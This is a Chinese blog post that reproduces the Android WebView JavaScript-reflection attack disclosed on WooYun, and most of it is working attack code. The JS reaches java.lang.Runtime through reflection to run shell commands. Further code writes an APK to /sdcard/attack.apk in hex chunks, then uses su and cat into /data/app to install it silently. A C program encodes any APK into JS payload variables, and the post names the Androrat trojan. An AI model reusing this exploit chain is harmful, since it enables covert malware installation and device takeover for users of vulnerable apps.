RT
最近在乌云平台上看了披露出来的一些漏洞,因为之前用过webview,所以尝试着还原一下js反射攻击:
文中写的比较详细了,也可以看看文章后面的参考。说一下遇到问题:
首先原理是因为sdcard可读可写,因此把攻击的数据写入到sdcard中去,但怎么写是个大问题,尤其是数据比较大的时候。我们在示例的网页中写恶意JS脚本,
function execute(cmdArgs)
{
return JsUseJave.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
这个函数用来实行shell命令,不过获取权限是个大问题,首先要求手机必须root掉,然后通过执行su命令,但是问题在于两次命令执行的环境居然不一样,也就是说第一个命令su执行完之后,他所在的环境是有root权限的,但是第二条指令可就没有这么好的运气了,因为子进程环境不同。
还有就是执行echo特别特别需要注意的一点就是命令格式,折腾了2天总算弄出点眉目来:
原文中的数据:
var armBinary1 = "x50x4Bx03x04x14x00x08x00x08x00"
对应的exec语句为:
execute(["/system/bin/sh","-c","echo -n +armBinary2+ >> " + patharm]);
应该是大神觉得读者都懂,所以简略的写了下,表示虽然一看就懂了,但是。。。实际写一段代码试试就发现这个命令根本执行不了,而且最要命的是,webview是没法执行alert的,根本不知道输出是什么,而且js中引用java对象并不是那么简单的事情,通过反射拿到对象,但也仅仅成功拿到了Runtime,其他对象一直出错,导致VM崩掉,try ,catch中也不会有什么输出。
上边这行代码我测试根本执行不成功,首先这个字符串就不是按照字节来输出的,应该是大神一个简单的演示而已。
用过shell echo都知道,可以这样写:
//var armBinary = "\\x4d\\x5a\\x00\\x4d\\x5a";
execute(["/system/bin/sh","-c","echo -n '"+armBinary+"' >> /sdcard/test.apk"]);
这样经过测试的的确确可以成功的将数据写入到指定的文件中,不过一定要注意这样写:
"echo -n' "+armBinary+" '
一定要用
' '把变量裹起来,否则的话就会把这个变量名称当做字符输出了,我测试的时候自作聪明的用+把各个字符串分开,写成这个样子:
execute(["/system/bin/sh","-c","echo -n "+armBinary+" >> /sdcard/test.apk"]);
这样总是会多写3个字节,其中包括-n,以及一个换行。
切记一定要写成带有' '的形式,而且,二进制变量必须写成这个样子:
var content0="\\x50\\x4b\\x03\\x04\\x14\\x00\\x08\\x00"
否则你会发现如果变量中有0x00的样子,代码就不会正常执行了,最其原因我认为应该是如下原因:
1. execute函数中参数是个数组,有3个,第三个元素依然会按章字符串的原则来解析,所以,你仅仅写成\x4d\x51的话,如果没有0x00,OK,可以正常写入,如果有的话那就悲剧了,字符串被截断了,而且不会有任何输出内容。
2. 虽然在Linux下用echo, 可以echo -n -e "\x4d\x5a\x00\x00" > test 真实的可以写入4个字节,用adb shell 进入Android系统也能执行,但是通过反射shell就不可行,应该还是跟JS字符串的解析有关。
【对js不熟,以上是根据测试结果的猜想,如果问题请指正】
还有个问题,原文中说可以使用:
execute(["/system/bin/sh","-c","adb install /mnt/sdcard/Androrat.apk"]);
来安装apk,但是我测试时发现也不好使,总是报device not found错误,尝试各种办法不行,如果大家有好的方法欢迎指导,跟小师弟两人测试了好久,终于发现先获取到root权限,然后直接将这个apk弄到/data/app目录下,就可以静默安装了。【前提是,执行copy命令的process必须是执行su之后的process,否则还是没法获得权限】
先说说在Activity中连续执行这两个命令:
String string2 = "rm /system/test &\n";
Runtime runtime = Runtime.getRuntime();
DataOutputStream dataOut;
try {
Process process = runtime.exec("su ");
InputStream in = process.getInputStream();
BufferedReader bufferReader = new BufferedReader(
new InputStreamReader(in));
BufferedReader err=new BufferedReader(new InputStreamReader(process.getErrorStream()));
String line = null;
dataOut = new DataOutputStream(process.getOutputStream());
dataOut.writeBytes(string2);
dataOut.flush();
dataOut.close();
process.waitFor();
while ((line = err.readLine()) != null) {
Log.i("js",line);
}
while ((line = bufferReader.readLine()) != null) {
Log.i("js",line);
}
} catch (Exception e) {
e.printStackTrace();
}finally{
if(process != null)
process.destroy();
}
首先拿到runtime,执行exec会返回一个Process对象,此时不能直接再执行exec,因为那样会直接fork一个子进程,就不再是之前执行过su命令的shell了(Linux中su仅仅对当前打开的这个shell有效),所以我们想看到这个shell的返回值,就必须拿到他的“输出流”-->InputStream【注意名称】,如果想再接着执行命令,就必须往他的输入流OutputStream中写命令,因为shell也是一个数据流。写完之后记得flush和close数据流,然后waitFor一下。【虽然没有waitFor也能执行成功,但推荐加上】这样就可以在同一个process shell中连续执行命令了。 【么了强调一下,这段代码最好new一个thread来执行,因为如果等待时间过长的话,会引起Activity因为等待过长而宕掉】
在JS中想要顺序执行命令,也是同样的原则,不过在java中我们可以通过BufferReader来读取输出流,通过DataOutputStream来写入,但是在JS中尝试各种办法都没法引用到JAVA中的这两个对象,因此只能用下面这种方法:
var process = execute(["su"]);
writeStream(process.getOutputStream());
function writeStream(outputStream) {
window.JsUseJave.openImage("start writeStream ");
try {
var cmd = "cat /sdcard/attack.apk > /data/app/attack.apk &";
var len = cmd.length;
var cmdByte = [];
cmdByte = stringToBytes(cmd);
outputStream.write(cmdByte);
outputStream.flush();
outputStream.close();
window.JsUseJave.openImage("writeStream over");
} catch (e) {
window.JsUseJave.openImage("writeStream " + e.message);
document.write("writeStream " + e.message);
}
}
执行exec返回一个process对象,拿到它的输入流,然后直接用输入流的write函数往里边写byte数组,只要把命令cmd转换为byte数组就可以成功执行了。
么了,Android里不知道为么没有cp命令,如果用mv代替,会出现faile cross device link 。居说是认为sdcard和本身系统不在一个文件系统之内。
所以就用了cat来代替。
对原文中的代码的修改如下就可以正常执行,汇总如下:
function test()
{
var content0="\\x50\\4b";
...
...篇幅原因,省略了二进制变量
...
try{
execute(["/system/bin/sh","-c","echo -n '"+content0+"' > /sdcard/attack.apk"]);// -l /system/test"]);//+ "\x4d\x5a" +" > /sdcard/test"]);
execute(["/system/bin/sh","-c","echo -n '"+content1+"' >> /sdcard/attack.apk"]);
execute(["/system/bin/sh","-c","echo -n '"+content2+"' >> /sdcard/attack.apk"]);
execute(["/system/bin/sh","-c","echo -n '"+content3+"' >> /sdcard/attack.apk"]);
execute(["/system/bin/sh","-c","echo -n '"+content4+"' >> /sdcard/attack.apk"]);
execute(["/system/bin/sh","-c","echo -n '"+content5+"' >> /sdcard/attack.apk"]);
execute(["/system/bin/sh","-c","echo -n '"+content6+"' >> /sdcard/attack.apk"]);
execute(["/system/bin/sh","-c","echo -n '"+content7+"' >> /sdcard/attack.apk"]);
execute(["/system/bin/sh","-c","echo -n '"+content8+"' >> /sdcard/attack.apk"]);
execute(["/system/bin/sh","-c","echo -n '"+content9+"' >> /sdcard/attack.apk"]);
var process = execute(["su"]);
window.JsUseJave.openImage("start outputStream");
writeStream(process.getOutputStream());
window.JsUseJave.openImage("start getinputStream");
document.write("content:" + getContents(process.getInputStream()));
document.write("errorcontent:" + getContents(process.getErrorStream()));
} catch (e){
window.JsUseJave.openImage(e.message);
}
}
function writeStream(outputStream) {
window.JsUseJave.openImage("start writeStream ");
try {
var cmd = "cat /sdcard/attack.apk > /data/app/attack.apk &";
var len = cmd.length;
var cmdByte = [];
cmdByte = stringToBytes(cmd);
outputStream.write(cmdByte);
outputStream.flush();
outputStream.close();
window.JsUseJave.openImage("writeStream over");
} catch (e) {
window.JsUseJave.openImage("writeStream " + e.message);
document.write("writeStream " + e.message);
}
}
function execute(cmdArgs)
{
return JsUseJave.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
function getContents(inputStream)
{
var contents = "";
var b = inputStream.read();
while(b != -1) {
var bString = String.fromCharCode(b);
contents += bString;
b = inputStream.read();
}
return contents;
}
function stringToBytes(str) {
var ch, st, re = [];
for ( var i = 0; i < str.length; i++) {
ch = str.charCodeAt(i); // get char
st = []; // set up "stack"
do {
st.push(ch & 0xFF); // push byte to stack
ch = ch >> 8; // shift value down by 1 byte
} while (ch);
// add stack contents to result
// done because chars have "wrong" endianness
re = re.concat(st.reverse());
}
// return an array of bytes
return re;
}
至于如何定义文件的二进制变量,附上自己写的很水的一个c代码,读取NewbieTaskActivity.apk这个文件,然后每个变量为30K的数据,最后输出文件resvalue中的内容就是类似于这样的:
var content0 = "\\x4d\\5a\\0x00\\4d...";
var content1 = "\\x4d\\5a\\0x00\\4d...";
var content2 = "\\x4d\\5a\\0x00\\4d...";
直接粘到js中,然后执行多次exec就行了,然后就可以在sdcard中看到你自己的apk了。折腾了两天,就酱紫了。
C代码如下:
#include<cstdio>
#include<cstring>
#include<cstdlib>
int main()
{
FILE * fp;
char ch;
if((fp=fopen("NewbieTaskActivity.apk","rb"))==NULL)
{
printf("error");
return 0;
}
fseek(fp,0,SEEK_END);
unsigned long long len=ftell(fp);
char * data=(char *)malloc(len);
rewind(fp);
fread(data,1,len,fp);
fclose(fp);
printf("file size is:%u\n",len);
//for(int i=0;i<20;i++)
// printf("\\\\x%02x ",(unsigned char)data[i]);
//printf("\n");
const int per=1024*30;
int time=len/per;
if(len%per!=0) time++;
printf("time is %d\n",time);
system("pause");
int cur=0;
int total=0;
for(int k=0;k<time;k++)
{
char filename[20];
sprintf(filename,"resvalue");
FILE * out=fopen(filename,"ab+");
if(out==NULL)
{
printf("open file %s errro!",filename);
continue;
}
char tmpdata[per]={0};
unsigned writelen=0;
if(cur+per<=len) writelen=per;
else writelen=len-cur;
memcpy(tmpdata,data+cur,writelen);
fprintf(out,"var content%d=\"",k);
for(int i=0;i<writelen;i++)//\\x4d
fprintf(out,"\\\\x%02x",(unsigned char)tmpdata[i]);
fprintf(out,"\";\n");
total+=writelen;
printf("file wirte :%d\n",writelen);
printf("total is :%d\n",total);
fclose(out);
cur+=per;
}
printf("file value write %d\n",total);
return 0;
}